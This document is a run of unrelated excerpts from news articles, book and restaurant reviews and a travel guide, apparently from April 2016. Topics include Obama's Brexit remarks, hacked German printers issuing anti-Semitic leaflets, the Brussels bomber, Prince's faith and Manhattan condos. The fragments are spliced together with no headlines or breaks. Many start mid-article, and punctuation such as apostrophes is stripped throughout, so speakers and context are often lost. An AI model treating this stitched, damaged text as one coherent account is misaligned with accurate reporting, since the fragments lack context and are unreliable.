Mr. Obama is in Britain on Friday to congratulate Queen Elizabeth II, who turned 90 on Thursday, and to advocate that Britons vote in a June 23 referendum to remain in the European Union. Mr. Obama laid out his argument in an opinion essay in The Telegraph, a conservative-leaning newspaper, published online late on Thursday, and he addressed the issue Friday afternoon at an appearance with Prime Minister David Cameron.

Mr. Obamas essay invoked the special relationship between the two countries, their shared sacrifices during World War II and their cooperation in developing the institutions of the postwar order  among them the United Nations, NATO and the European Union  and it was seen as a significant intervention in a debate that has sharply divided the British public and revealed deep fissures in the governing Conservative Party.
BERLIN  Printers at several universities across Germany produced anti-Semitic leaflets on or before Hitlers birthday this week, after hackers appeared to break into their computer systems, according to university officials.



Universities in Hamburg, Luneburg and Tubingen confirmed that printers connected to their computer networks had suddenly started churning out the leaflets, most of them on Wednesday, the anniversary of Hitlers birth in Braunau, Austria, in 1889.

At least six other universities in Germany reported similar episodes, according to the German news agency DPA.

The leaflet produced at the University of Hamburg carried the slogan Europe, awake! and alluded to the mass migration that brought more than one million people, many from the Middle East, to the Continent last year. Europe is being flooded by enemy strangers, it read, in part.
PARIS  Najim Laachraoui, one of the two suicide bombers who attacked Brussels Airport last month, has been identified by former Islamic State hostages as one of their captors in Syria, a lawyer for several of the hostages said on Friday.

Marie-Laure Ingouf, a lawyer for Nicolas Henin and Pierre Torres, two of the four French journalists who were first detained in 2013 by the Islamic State in Syria, said that the former hostages had identified one of their captors as Mr. Laachraoui, who used the name Abu Idris at the time.

In the latest issue of the Islamic States online magazine Dabiq, Mr. Laachraoui was identified by the nom de guerre Abu Idris al-Baljiki.

Image Najim Laachraoui Credit... Interpol

Mr. Henin, Mr. Torres and two other French journalists, Didier Francois and Edouard Elias, were freed in April 2014 after 10 months of captivity in Syria.
LONDON  President Obama on Friday bluntly urged Britain to vote to remain inside the European Union in a referendum scheduled for June 23, and warned that a Britain outside the bloc could not count on maintaining its current economic relationship with the United States.

Taking an unusually direct position on another countrys internal politics, Mr. Obama asserted that Britains membership in the bloc did not limit British influence but magnifies it.

Speaking alongside Prime Minister David Cameron at a news conference, he also directly addressed the potential consequences of a vote by Britain to leave. The president said that to do so would send Britain to the back of the queue for a trade deal with the United States, challenging those who have argued that Britain could quickly replicate the same favorable terms it enjoys as a European Union member.

Mr. Cameron is leading the campaign to remain part of Europe, but the issue has deeply divided his Conservative Party and polls suggest that the outcome could be close, making the forcefulness of Mr. Obamas statements especially striking.
ROME  A former undercover C.I.A. agent will be handed over to Italy, where she was convicted of taking part in the 2003 kidnapping of an Egyptian cleric in one of the renditions ordered by the George W. Bush administration, after appellate courts in Portugal, where she lives, turned down her appeal this week.

In January, a Portuguese court ruled that the former agent, Sabrina De Sousa, should be handed over to Italy, but the order was stayed pending appeal. On Friday, her Italian lawyer, Dario Bolognesi, said in an interview that the appeal had been denied, and that Ms. De Sousa would be extradited after May 4.

News that Portugals Constitutional Court had turned down her appeal this week was also reported on Friday by The Washington Post and by the Portuguese newspapers Diario de Noticias and Expresso. Her Portuguese lawyer, Manuel de Magalhaes e Silva, did not respond to requests for comment.

Ms. De Sousa, who holds dual American and Portuguese citizenship, has denied any wrongdoing or involvement in the kidnapping, which took place while she was working undercover for the C.I.A. as a diplomat in Milan. She resigned from the agency in 2009 and avoided trial by leaving Europe, but was convicted in absentia that year. Despite the risk of arrest, she returned to Portugal last year to be closer to her family.
MOSCOW  The Russian parliament elected a retired police general, trained in Soviet times, as the countrys human rights ombudsman on Friday, prompting widespread criticism from the opposition.

The new ombudsman, Tatyana N. Moskalkova, worked her way through the ranks of the Soviet and Russian police for more than two decades, rising to become a major general of the Interior Ministry. Ms. Moskalkova retired in 2007 and won a seat in the parliament, or Duma, as a member of Just Russia, a left-leaning pro-government party.

The post of human rights ombudsman was introduced in Russia in 1993 and was first filled by Sergei A. Kovalyov, a prominent dissident who had been held in a Soviet prison camp for his political views.

Unlike most of her predecessors in the post, Ms. Moskalkova lacks experience as a human rights activist. This raised concerns not only among human rights advocates, but also from a Kremlin-friendly populist politician, Vladimir V. Zhirinovsky, who objected to her career path.
Then, there is her take on retirement. Her father had $75,000 to lend to her because he had been forced to liquidate a once-thriving business that he built after the familys earlier lean years. I never grew up with any idea that there would be retirement, she said. You were trying not to go to a payday lender. My dads retirement was supposed to be the business.

Ms. Haimerl is a writer and Mr. Kaebnick is a computer programmer, and perhaps they can work well into their 70s or 80s. In the meantime, their net worth is negative. They did get a mortgage after the work was done, and the appraiser assigned the $300,000 value to their home, a triumph in their neighborhood at the time.

They pulled most of that money out in a mortgage to repay many of their other debts and write a giant check to their contractor, Calvin Garfield. They still owe him about $80,000, but aspiring Detroit residents should not expect loose terms if they come to town.

Im confident other contractors would not have made the same call, Mr. Garfield said. But I do think everyone we have done business with has become a friend, and in that mix of things, this seemed to be the right thing to do.

The couple desperately wants to repay him, and because their income is just over $100,000, they expect to do so sooner rather than later. Ms. Haimerl freelances, and they have an Airbnb side business going using some of that 3,000 square feet. For just $65 a night, aspiring Detroit residents can soak up plenty of sober-minded advice and bear witness to the kind of house that a lot of money and worry can buy.

But how best to explain away their lack of retirement savings? Plenty of people who sank their life savings into real estate in less desirable parts of Brooklyn or San Francisco a decade or two ago are probably thrilled.

So is that how they think about the money they have put into their Detroit dream? That they bet on a city instead of a bunch of stocks? We have gotten gun-shy about talking that way, Ms. Haimerl said. People here say, How dare you treat our city like an investment.
If you see something on social media that tugs at your heartstrings, Ms. Miniutti said, go to the original website and check it out.

Dont respond to email solicitations, she said, and dont follow any links in the emails, even if they appear legitimate. Its also best to avoid requests made by telephone, she said. They are usually made by a for-profit company hired by the charity, and the cost of their services reduces the proportion of your donation that the charity will actually receive. Charity Navigator offers additional tips on its website.

The group also urges donors to keep tabs on how charities use their gifts. Charity Navigator has posted on its website a review of charities that solicited donations for the devastating Nepal earthquakes last spring.

While effective organizations spend more money on actual programs than on overhead, donors should also be skeptical of any appeal that claims to spend every penny raised on direct aid, said Bennett Weiner, chief operating officer of the BBB Wise Giving Alliance, an affiliate of the Council of Better Business Bureaus, which evaluates charities on 20 standards. Watch for 100 percent claims, he said, because they are probably exaggerated. There are always some type of costs involved.

Mr. Weiner urged donors to consider a groups track record in helping with natural disasters, especially those in foreign countries. Efforts commonly spring up to solicit donations of food or clothing, but they lack the logistical infrastructure to deliver the items in a timely way. Often we see activities that are well meaning, but not well planned, he said. Without a distribution network to ship goods overseas, he said, Its not very effective.
DOOR TO DOOR

The Magnificent, Maddening, Mysterious World of Transportation

By Edward Humes

372 pp. Harper/HarperCollins Publishers. $27.99.

In the 1920s, drivers plowed into oncoming traffic and bicyclists and trees just as they do now, but no one talked about automobile accidents. Back then, notes Edward Humes in Door to Door: The Magnificent, Maddening, Mysterious World of Transportation, these events were known as motor killings. And citizens were outraged. They rioted and demanded reforms. They staged massive parades in protest. It was the kind of civil unrest that would come to be associated with social injustice and the Vietnam War.

As odd as that may sound to us now, it makes every kind of sense. Annual highway fatalities in the United States outnumber annual combat deaths throughout the Vietnam War (as well as the wars in Iraq, Afghanistan and Korea). Cars currently kill 3,000 people every month. Humes compares the carnage to that of four airliners crashing every week  rarely making headlines or prompting investigations or fines or legal reforms.

America fell hard for cars. They were novel and exciting. They conveyed status and independence, and until relatively recently they got us where we wanted to go with minimum hassle and time. Cities fell in line, dispensing with sidewalks and abandoning public transit projects. (Los Angeles freeways were originally planned with rail lines on the meridians.) Even the justice system succumbed to the sway, confining pedestrians to crosswalks and letting drivers who mowed them down get off with fines and community service. The language itself evolved to absolve the reckless driver. The term jaywalking was coined for the crime of crossing a street where you felt like it. Motor killings became fatal accidents.
Others, through some combination of luck, taste and sophistication, got things perfectly correct straight out of the gate: Paul Newman (Barbara Graham), Mikhail Baryshnikov (Kimberly Dawn Neumann), Deborah Harry (David Keplinger).

Quotable

I remember when I was a little kid, after it snowed I would go around the yard and find the best clumps of ice, and save them in a little pile, icicles from the roof or deck or whatever. Memoir is a way for me to do that with experiences.  Augusten Burroughs, in an interview with Vogue

Guarding Against Bloat

David Means has published short stories in every major literary journal, has won several prizes for the form and has four collections of stories to his name, starting with A Quick Kiss of Redemption in 1991. For a long time, it seemed that he would never publish a novel. But now he has. Jay McInerney reviews Hystopia this week.

The novels appearance casts a different light on a 2010 headline on The Paris Reviews blog: Why David Means Is Not a Novelist. What did he say when asked about it back then? When Im down  and even Alice Munro admits that at times she feels guilty for not writing a novel  I just start a defensive mantra: Blake never wrote novels. Whitman never wrote novels. Carvers work is still around, Means said. He left open the possibility of longer work, but with caveats. Big and wide can mean expansive and comprehensive, but it can also mean bloat, he told the magazine. A move from stories to novels for me would be partly a matter of not giving in to the temptation to abuse the form.
John F. Kennedy, who survived Oswalds assassination attempt, is now in his third presidential term, relentlessly prosecuting the war in Vietnam, which has created a generation of psychologically traumatized young men. Kennedy creates a Psych Corps with the goal of treating the vets through a process of therapeutic amnesia, whereby the traumatic memories are enfolded after a course of re-enactment of the traumatizing events and ingestion of a drug called Tripizoid.

The corps is based in Michigan (Meanss native state), which, we are told, attracted an inordinate number of veterans. Historians have speculated at great length about the concentration of veterans in the state of Michigan, declares the editor of the novel within the novel. Most have resorted to a geographical theory, in which its peninsular shape acted as a lure. . . . Wayward souls find themselves longing for some terminus.

The most wayward of these souls, in Allens manuscript, is a character named Rake, a vet whose enfolding treatment failed, leaving him even more violent than before. He drives up and down the state on a bloody rampage, ingesting drugs and killing strangers, deliberately leaving behind clues as well as random symbols for the benefit of the Psych Corps, which is trying to track him down. Their job is to find some semblance of order in this madness, he proposes, and mine, as I see it, is to give them something to think about.

Rake has kidnapped a young woman named Meg, who seems to have been a patient in a mental health facility and to have been the girlfriend of a soldier who served with Rake and was killed in Vietnam. Though not a vet, Meg appears to have undergone the treatment of enfoldment, and thus to have few memories of her past life. Rake force-feeds her drugs and enlists her as a witness to his crimes while agents of the Psych Corps attempt to track his movements and plan his capture. An agent named Singleton, an enfolded vet, becomes obsessed with finding him, even as he falls in love with Wendy, a fellow agent who eventually joins him in the hunt for the murderous Rake.

The sociopathic fugitive has left Meg at a remote farmhouse in the care of a comrade named Hank while he ventures out to wreak more havoc. What Rake doesnt know is that Hank, who had once been his partner in mayhem, has successfully treated himself, replicating the methods of the corps, burying his murderous rage along with the trauma that triggered it. Recovering from his buried history, Hank finds solace in nature, taking Meg on long hikes into the Michigan woods and gradually falling in love with his ostensible prisoner.
Seven new paperbacks to check out this week.

THE GREAT LEADER AND THE FIGHTER PILOT: A True Story About the Birth of Tyranny in North Korea, by Blaine Harden. (Penguin, $17.) In 1953, No Kum Sok, a North Korean pilot, defected to South Korea and surrendered his MIG-15 fighter to American forces, after growing disillusioned with Kim Il Sungs regime and rise to power. Harden recounts the early days of the Korean War, and the conflicts lasting political repercussions, through the stories of a leader eager for authoritarian rule and a citizen clamoring for freedom.

GREEN ON BLUE, by Elliot Ackerman. (Scribner, $16.) This debut novel tells the story of the American conflict in Afghanistan from the perspective of a young Afghan boy, Aziz. After American forces arrive in his village, his brother is gravely injured and Aziz joins a militia. Ackerman, a veteran who was deployed to Iraq and Afghanistan, has touched, for real, the culture and soul of his enemy, Tom Bissell wrote here.

BETWEEN YOU & ME: Confessions of a Comma Queen, by Mary Norris. (Norton, $15.95.) A longtime New Yorker copy editor and guardian of the magazines notably fastidious style reflects on her career of policing the language of some of the worlds best-known writers. The book, both memoir and grammar guide, is full of anecdotes that will delight the magazines readers, and acts as a reminder of the highly personal nature of grammar.

THE LITTLE PARIS BOOKSHOP, by Nina George. Translated by Simon Pare. (Broadway, $16.) From a barge floating on the Seine, Monsieur Perdu prescribes books as if they were medicines to his customers, and believes that most of lifes ills  heartbreak, grief  can be cured by literature. He has been able to help everyone except himself, but is soon inspired to travel to the South of France in hopes of finding the woman who left him heartbroken years before.
THE HOUSEGUEST

By Kim Brooks

369 pp. Counterpoint. $26.

Kim Brookss debut novel has many of the ingredients needed for a memorable work: an evocative sense of place and time; finely drawn characters; taut, limpid prose. The action of The Houseguest unfolds in the United States in the late spring and summer of 1941. Abe Auer, a junkyard owner and Russian immigrant, is safe in Utica in upstate New York, living in a comfortable house with his loving wife, Irene, and his beautiful, spoiled daughter, Judith. But the Nazis cast a long shadow as Abe reads The Forward, absorbing its Yiddish-language reports of Jews ordered to register in the Netherlands, drafted for forced labor in Romania, sealed into ghettos in Lublin and Warsaw.

The war in Europe, which once seemed so distant, looms ever closer. Especially for Americas Jews, who watch, powerless, as relatives and friends disappear into the maw of the Nazis annihilation machine. But against an obdurate State Department, anti-Semitic isolationists and the tremulous leaders of their own Jewish faith, scared of rocking the boat, the activists cries for action vanish into the wind  until a prominent Manhattan synagogue burns down, an event that begins to galvanize the community.

For all his creature comforts, Abe is haunted by his memories of Russia. He even imagines a lengthy conversation with his dead brother, Shayke, in which Shayke picks up a photograph of Abes daughter and says, Look, she has my eyes. Although Abe has noticed the likeness, the observation strained something inside him, twisted his guts up until they felt like gnarled roots. So when his rabbi, Max Hoffman, asks him to house a refugee, Abe agrees, not knowing she will soon turn his life upside down. Ana Beidler is an alluring actress, a veteran of the Yiddish theaters of Europe  and the beds of many of its leading men. Sultry, exotic, difficult, selfish, messy and often just plain rude, Ana casts a dangerous spell over the Auer household, a spell that gradually widens.
The idea that Stevenss outer life was dull is more true than not. Born in Reading, Pa., the second of five children, he had a childhood ordinary in all things except a spell of malaria that forced him to repeat the ninth grade. Before he was 18 (by Page 9 of this book) he was off to Harvard, where he edited The Advocate, the undergraduate literary magazine. After college he moved to New York to become a newspaperman, grew discouraged, went to law school, and found work as an insurance lawyer. He fell in love with a woman from Reading, Elsie Viola Kachel, pathologically shy and (literally) from the wrong side of the tracks, and cut ties with his disapproving father. After some relatively happy years in New York, Wallace and Elsie moved to Hartford and grew apart, living in separate areas of the same house and hardly speaking to each other except about their daughter, Holly. Meanwhile Stevenss poetry  written at night, circulated in the literary journals and published by Knopf  was recognized as exemplary modernism as early as Harmonium (1923). Middle-aged already, he settled into eminence as it rose around him. He walked to work, read and signed contracts, wrote poems, ordered rare books, dandled his grandson, collected honorary degrees and died.

Stevens frequented Greenwich Village in the teens; he knew Marcel Duchamp and Carl Van Vechten and had poems published in an issue of The Little Review that also carried an excerpt from Joyces Ulysses. He had plenty of chances for dramatic encounters, but avoided them. He turned down requests for new work from Williams for Contact, Moore for The Dial, Ezra Pound for Exile. Invited to join a panel at Smith College with W.H. Auden, Allen Tate and Lionel Trilling, he said no: It would have meant staying overnight. When he did show up for events, he was diffident. Wallace Stevens is beyond fathoming, Moore wrote to Williams in 1944. As if he had a morbid secret he would rather perish than disclose and just as he tells it out in his sleep, he changes into an uncontradictable judiciary with a gown and a gavel and you are embarrassed to have heard anything.

A biographer can use characterization, dramatic structure and retrospective insight to bring out the significance of such observations. Mariani does not. All through the book, instead, he follows the trail of what Stevens said and when he said it, introducing people and ideas mainly through Stevenss brief remarks about them. This seems sensible. It lends an idea of order and lets us hear the epigrammatic power of the poet who wrote that life without poetry is, in effect, life without a sanction. But it reduces the biographer to a faithful servant plodding alongside his subject. Chunks of poetry, essays and correspondence run together in a slurry of quotation. The noble gases of Stevenss poetry escape the biographers flask; the shape and force of poems like Thirteen Ways of Looking at a Blackbird and To an Old Philosopher in Rome are lost. Key parallels are left undrawn. When we learn, in reference to a 1943 lecture Stevens gave at Mount Holyoke, that for the past 40 years Coleridge as both poet and philosopher had been one of Stevenss mainstays, the comment comes 40 years too late: Introduced earlier, a comparison of the 20th centurys great poet of mind to the 19th centurys great poet of mind would have opened up a deep channel of insight into Stevenss sense of himself.

Key West is where Stevens went to escape daily life. There, during his annual holidays away from Elsie, he had frontal encounters with two writers as gifted as he was. Drunk, he insulted Robert Frost, who then gossiped about him but confessed he didnt see any real conflict about their contrary views about what a poem should be. It had all amounted, simply, to the prettiest kind of standoff.  O.K., but what were their contrary views of poetry? We dont find out. Drunk, Stevens disparaged Hemingway and took a swing at him, and in the fight that followed Stevens wound up with a broken hand and two black eyes. Its one of the great fistfights in American literature, but had Stevens even read Hemingways work, or any new fiction at all? We dont find out.
Q. Didnt a former Republican presidential nominee from New York lose the presidency over his poor manners?

A. Maybe, a century ago. Charles Evans Hughes, the former Republican governor of New York who had resigned from the Supreme Court to run for president, went to bed on election night thinking he had probably denied President Woodrow Wilson, a Democrat, a second term. How he lost may serve as a cautionary tale this year as the presidential candidates fire darts at one another.

In 1916, Americas possible entry into World War I was a major issue, with Wilsons slogan He Kept Us Out of War vying with the Republicans less pacific stance. But another question in heavily Republican California, and elsewhere, was this: What would voters who had flocked to Theodore Roosevelts Progressive Party in 1912 do now that Roosevelt was not a candidate? Hughes had supported many of Roosevelts policies, but he had an austere, aloof image. He was endorsed over Wilson by a split vote of the Progressives national committee, at the urging of Roosevelt, who had previously referred to Hughes as a bearded iceberg.
Timing of the effort to get state and federal recognition for the district is critical because of gentrification, said Christopher N. Matthews. Dr. Matthews is a historical anthropologist and a professor at Montclair State University in New Jersey, who has done field research in Setauket.

Many descendants of the original residents have taken advantage of rising property values to sell homes in what now is a high-tax area, he said. Urban development in the 1960s previously wiped out a larger mixed-race enclave nearby, Chicken Hill, which was centered on Main Street and Route 25A. An exhibition commemorating the community, Chicken Hill: A Community Lost to Time, is at the Three Village Historical Society in East Setauket.

Higher Grounds pending application seeking inclusion of the Bethel-Christian Avenue sites on the National Register for Historic Places will refer to some discoveries from several recent archaeological digs led by Dr. Matthews that illustrate the economic hardship faced by some nonwhite residents. Specifically, he cites stone tools used over an usually long period and a single button specimen suggesting that some residents took in laundry to earn extra income. This activity is supported by census records and oral histories.

Setaukets published history is limited by its traditional focus, Dr. Matthews said. This community is not represented in the local history, he said in a telephone interview. Inattention is what causes something to be lost.
Both candidates used their visits to pledge more federal funding to the countrys ailing public housing system, where more than one million people  approximately a third of them in New York City  reside. This is a promise whose execution would, of course, rely on a compliant Congress. In terms of immediate impact, though, the visits demonstrated the power of attention to beget engagement. In all three of the housing complexes visited by the two candidates, voter turnout rates increased significantly over those recorded during the 2008 presidential primary, even though residents then had the chance to cast a vote for the candidate who would be the first black president. Of the 466 registered Democrats living in the Howard Houses, 112 voted on Tuesday  a lower turnout rate than the one for Democrats citywide, which was 37 percent, but an increase over the 2008 figures, when only 81 voted. (These figures, calculated by the political consultancy Prime New York, also show Hillary Clinton having won all three housing developments.)

Even Franklin Delano Roosevelt, under whose administration the federal public housing system was born, had a certain hesitation about getting too close. It wasnt until 1937, when liberals in New York pushed his administration to build by organizing mass rallies and housing exhibitions (as Mr. Bloom recounts in his book Public Housing That Worked: New York in the Twentieth Century), that the president finally acquiesced, having believed all along that Americans should own their own homes, however modest, as he put it. As early as 1963, Gov. Nelson A. Rockefeller, a committed urbanist who held on to utopian ideas about renewal, began to back away from the idea of housing subsidies, saying in a speech to the New York State Womens Legislative Forum that he was trying to get taxpayer money out of housing, and private capital into it, to create an irrigation system, as you do getting water to an arid area.

No matter what sort of fiscal innovations public housing officials conceive, the government spigot needs, in effect, to run. Now, at least, the conversation has been revived.
The tables at Chatterbox 54 are a bit larger than is usual, making the typical balancing act at most restaurants, where space for both an entree and a bread plate can be hard to find, unnecessary. This creates more comfortable dining, but intimate chats arent easy. No matter. Calling out across the table, or even across the room, is part of the fun.

Chatterbox 54, an Italian-inspired spot that opened in Briarcliff Manor in December, is aptly named. The 72-seat storefront fills up early, and quickly on a weekend night. There seems to be a lot of flirting at the bar, while neighbors greet each other between tables. Joseph Pandolfo, the owner, and his sons, Joseph and Michael, work the room, making sure everyone is happy. The 54 in the name is a tribute to Studio 54 in Manhattan, which Mr. Pandolfo visited as a child with his father, a restaurateur and friend of the nightclubs owners.

Image Meatballs Enrico. Credit... Suzy Allman for The New York Times

Mr. Pandolfo has brought a bit of Arthur Avenue to northern Westchester, in terms of both sensibility and food. Large portions at decent prices (most pastas are under $20 and most entrees are under $30) provide some delicate tastes, and the bread, as well as many ingredients, come from that Bronx culinary mecca.
And then there was the greediest question of all: Did I really want to share the charred octopus, which had the thickest tentacles I had ever seen?

Image Grilled octopus. Credit... Fred R. Conrad for The New York Times

Everything had spark; I wanted it all. And I was only on the appetizers.

The owner, Eddy Sujak, who co-owns two other restaurants in the Bronx, Giovannis and Tosca Cafe, wants to incite such enthusiasm. I envisioned an establishment with high-quality food served in an elegant but hip atmosphere, he said. You eat great dishes but also have a fun night out.

His two-story space is undoubtedly sleek, with a sultry cigar lounge in the basement and a contemporary, light-flooded dining room on the entry level. The vibe is buzzy, the crowd is good looking, and the food should appeal to all manner of gastronome.

The executive chef, Pasquale Frola, who is from Naples and has worked at various restaurants in New York City, has put thought into every ingredient and aspect of what goes on the table. The produce comes from local farms, and the meats arefrom Wotiz Meat Company in Passaic and Master Purveyors in the Bronx. The seafood is delivered daily from several small fisheries; the oils, cheeses and coarse sea salts are imported from Italy.

The free focaccia is baked throughout the day, and most of the entrees get a turn in a wood-burning oven, infusing them with a gentle smokiness.
With the world premiere of his play Lewiston at Long Wharf Theater in New Haven, the playwright Samuel D. Hunter demonstrates his growing mastery of narratives that slowly, sometimes painfully, and ultimately sympathetically peel back the layers of struggles that define the lives of people who drift below the middle class.

Then theres the restraint of Mr. Hunter, who was awarded a MacArthur genius grant in 2014. It is that quality that best foreshadows the even greater fulfillment of the promise Mr. Hunter has shown with plays like the Obie Award-winning A Bright New Boise, a meditation on modern faith in which the main character summons the rapture while working at a Hobby Lobby store, and the Drama Desk Award winner The Whale.

As he ignites the story of Alice and her companion Connor, who run a roadside fireworks stand outside of Lewiston, Idaho, with the return of Alices granddaughter Marnie, Mr. Hunter manages to bring themes of isolation, loss and the burden of family legacy to a point of perfect dramatic equilibrium.

Just enough is revealed to render the narrative cohesive and complete, but any urge to preach or provide a neat punctuation mark is avoided.
For Mrs. Clinton, this means that at a moment when she would like to turn to the general election, she is going to have to devote time and resources on the Sanders wing of the Democratic Party. In her victory speech in New York, that seemed very much on Mrs. Clintons mind. To all the people who supported Senator Sanders, I believe there is much more that unites us than divides us, she said.

As the past half-century of campaigns has demonstrated, there is much Mrs. Clinton can do beyond a few words in a victory speech. She could offer Mr. Sanders a prime-time speaking spot at the convention. She could pick a vice president who shares the concerns that have animated Mr. Sanderss crowds. She could take a lesson from John F. Kennedy, who made his primary archrival, Lyndon Baines Johnson, his running mate in 1960. (Given that Mr. Sanders is 74 and Mrs. Clinton is 68, that seems unlikely.)

She could also include planks in the Democratic Party platform that incorporate Mr. Sanderss positions. If Mr. Sanders ends up with a campaign debt, Mrs. Clinton can also promise to help pay it off, as President Obama did for her back in 2008.

But there may be limits to what Mrs. Clinton herself can do to earn the support of his voters. She moved to the left throughout the primary as she adjusted to Mr. Sanderss challenges. Slipping back to the center in preparation for a general election battle, which is something Mrs. Clinton would presumably like to do, might complicate the effort to appeal to Mr. Sanderss voters, who are already wary of the former first lady.

An even more central question is whether Mr. Sanders, who before this campaign did not even call himself a Democrat and has seemed increasingly put off by Mrs. Clinton, will wholeheartedly endorse her should she win the nomination.

And that is only the first hurdle. Howard Dean, who lost the Democratic presidential nomination in 2004 to John Kerry, said he had no trouble endorsing Mr. Kerry over George W. Bush; getting his supporters to cross that bridge proved more difficult.

Its much easier for the candidate to understand that he or she has to get with the program, said Mr. Dean, who supports Mrs. Clinton. I had made up my mind that I was going to support John, but bringing supporters along was much tougher.
This trisyllabic, Semitic weapon of mass destruction is a hallmark of the Arabic vernacular. Some anti-Muslim bigots in recent years have argued Arabic is the spearhead of an ideological project that is deeply opposed to the United States, one that seeks to replace the United States Constitution with a halal cart menu. Most sane individuals, however, believe Arabic is simply a language that millions of people around the world speak.

But now Arabic has become a nightmare that terrorizes passengers at 30,000 feet. In November, two men said they were questioned before boarding a Southwest flight because a few passengers heard them speak Arabic and were afraid to fly with them. Several years ago, six imams were kicked off a plane for what fellow passengers deemed suspicious behavior, including praying in Arabic near the gate.

Arabic is so threatening to some that it doesnt even have to be spoken. In 2006, a man said he wasnt allowed to board a plane because he was wearing a black shirt with an Arabic inscription that translates as We will not be silent.

Opportunity is often born from absurdities. I believe this latest episode is actually a great moment to bring the versatile and glorious term inshallah into the vocabulary of more Americans.

Inshallah is the Arabic version of fuggedaboudit. Its similar to how the British use the word brilliant to both praise and passive-aggressively deride everything and everyone. It transports both the speaker and the listener to a fantastical place where promises, dreams and realistic goals are replaced by delusional hope and earnest yearning.
People may consider the work of Prince, who died Thursday, to be electrifyingly erotic, and it surely was, but people dont realize how much time Prince spent all but evangelizing for his vision of Christianity.

Many of the songs that helped lift Princes career have deeply spiritual messages. The title track from his 1981 album Controversy includes the Lords Prayer. His song 1999 describes Judgment Day.

The beginning of his biggest album, Purple Rain, finds Prince in the pulpit, preaching the coolest sermon ever heard on Top 40 radio. Its part of the song Lets Go Crazy, which lays out some of his religious philosophy. He believed there was an afterworld, a world of never ending happiness, but that in this life, youre on your own. The song has an ecstatic, Pentecostalist feel to it (officially, he was a Jehovahs Witness), and it tells us plainly that Prince was looking forward to the afterlife. Were all excited / But we dont know why / Maybe its cause / Were all gonna die. But while he was still on earth the commandment was to enjoy thyself. Ya better live now / Before the Grim Reaper comes knocking on your door!

Purple Rain includes a pair of songs that go further into Christian messaging by positing Prince himself as Jesus. In I Would Die 4 U, he pledges to do the seminal thing that Christ did for us, and he says, Im your messiah.

The albums eponymous track, Purple Rain, is a beautifully cryptic song: To me, Prince is talking about finding forgiveness as a relationship painfully ends. The rain is a symbol for cleansing, forgiving baptismal waters. The rain is purple because it comes from Prince. He is the one baptizing and absolving, which sure makes it sound as if he wants you to think of him as Jesus. (Indeed, several of his friends and co-workers have told me he had a sort of Jesus complex, and it filtered into those around him. Once, before a gig in Tokyo, it was raining horribly, and people were saying the show may not be able to go on. Then someone on the crew said, Prince will stop the rain. By the way, Im told the rain did stop.)
The 19th-century red-brick buildings that define South Street Seaport are about to get a new neighbor: a 60-story glassy condominium.

Currently called 1 Seaport, the 80-unit tower, which is being developed by the Fortis Property Group at Maiden Lane and South Street, is tall, slender and swathed in windows for an icicle-like look, which also puts it at odds with the growing ranks of condos with more masonry in their facades.

But 1 Seaport, which is not in a historic district, seeks to make the most of its unusual site near the East River. Floor-to-ceiling windows occupy what seems like every wall in the building, so no panorama goes to waste.

When youve got views over the water, said Jonathan J. Landau, the chief executive of Fortis, youre not going to block them up.
On a block where a kebab could once be had at 2 a.m. from Bereket, the 24-hour Turkish restaurant that was forced to close in 2014, there will now be a 30,000-square-foot Equinox gym and spa with a lounge and juice bar; condo residents will be able to access the two-story gym through a private entrance. Gone too, are places like Rays Pizza and Empanada Mama. While such spots and the unmemorable single-story buildings that once housed them could not claim any historic significance, they were popular haunts that gave the area its character.

A lot of people grew up going to Rays Pizza on that block, and its gone now, said James Rodriguez, an organizer for the Good Old Lower East Side, an affordable housing group. And whats it being replaced with? Its an Equinox. A lot of people arent going to be able to afford an Equinox.

The developers of 196 Orchard insist that the changes have not obliterated the retail that existed in the area, only moved it, since some of the shops are now in new locations, like Karaoke Boho, which reopened nearby. Other businesses, including Bereket, are gone. Im sorry they went out of business, but its part of evolution, said Ben H. Shaoul, the founder and principal of the Magnum Real Estate Group, which is developing 196 Orchard with the Real Estate Equities Corporation.

Image Katzs Delicatessen is known for its hefty pastrami sandwiches. Credit... Tony Cenicola/The New York Times

In fact, the condos ground floor will include 20,000 square feet of retail, with one storefront reserved for a locally owned business, likely a cafe or restaurant.

You call it gentrification, I call it cleaning it up,  said Mr. Shaoul, who has been buying properties on the Lower East Side since 1998.

Katzs survival, however, was always part of the plan. We were adamant in keeping them there, he said, sitting in Dirty French, a restaurant in the 20-story Ludlow Hotel that opened across from Katzs in 2014. I love pastrami.
Thank you for putting it that way. Im going to go with that version, Mr. Mann said gratefully.

I didnt see the house as alluring at all, he confessed. The only thing I saw was me becoming the super of the place, which is exactly what happened. I have a huge set of keys that I wear on my belt loop. Weve had floods in the basement and leaks in the ceiling, and Im not handy. Im handy at making calls to get things fixed.

But in the dozen years the family has been in residence, Mr. Mann has come around to his wifes way of thinking. Its not fancy. Its not beautiful, he said. Its not appointed very elegantly. But its comfortable, and its a great hang.

The great hang is a light-filled duplex created out of a former one-bedroom apartment (now a very inviting open kitchen, living room and guest room) and a pair of studios (now two bedrooms). Yes, Mr. Mann said, the honey-colored wooden staircase leading to the familys bedrooms creaks on every tread. But that will be good, he added, when our girls get old enough and start coming home late.

Mr. Mann was nominated for a 2013 Tony Award for his work in Pippin. That kind of thing is always a big honor, of course, but there were other very tangible reasons to be grateful to the Stephen Schwartz musical.  Pippin bought our living room, Ms. dAmboise said, nodding to the earth-toned couch and figured rug, both from Restoration Hardware, and to the bench from ABC Carpet & Home. A chess set from Morocco sits on the adjustable pedestal table that hails from a somewhat less exotic place: Pottery Barn.

Charlotte taught me to play, Mr. Mann said. And then I started beating her bad, so we stopped.

The duplexs emotional center is the refectory table Ms. dAmboise bought at the ABC Carpet outlet in the Bronx soon after the death, in 2009, of her mother, Carolyn George, a New York City Ballet soloist turned photographer.
Saturday

5. TEA AND SEA, 10 a.m.

Another day, another cafe. Before you lose yourself in the labyrinthine medina, luxuriate along the coast at the open-air Cafe Hafa. A Tangier icon, the almost-century-old cafe is made up of tiers of whitewashed balconies that cascade down a steep hillside toward the Mediterranean, opening panoramic views of the sea and, beyond, Spain. Sip sweet tea with crushed mint leaves (7 dirhams) and gaze at that long-lost Moorish treasure across the strait: Andalusia.

6. GOSPEL OF PAUL, Noon

Apostles of Paul (Bowles) can worship the author of The Sheltering Sky at the museum of the Tangier American Legation Institute for Moroccan Studies. The mansion was given to the United States government by the sultan in the early 19th century and long served as a diplomatic headquarters. Today elegant rooms house exhibits related to the American (and European) presence here over the centuries. In addition to a gallery with works by Cecil Beaton, Oskar Kokoschka and others, the museum displays Bowless possessions, first editions and correspondence, along with photos and fan mail. Admission 20 dirhams.

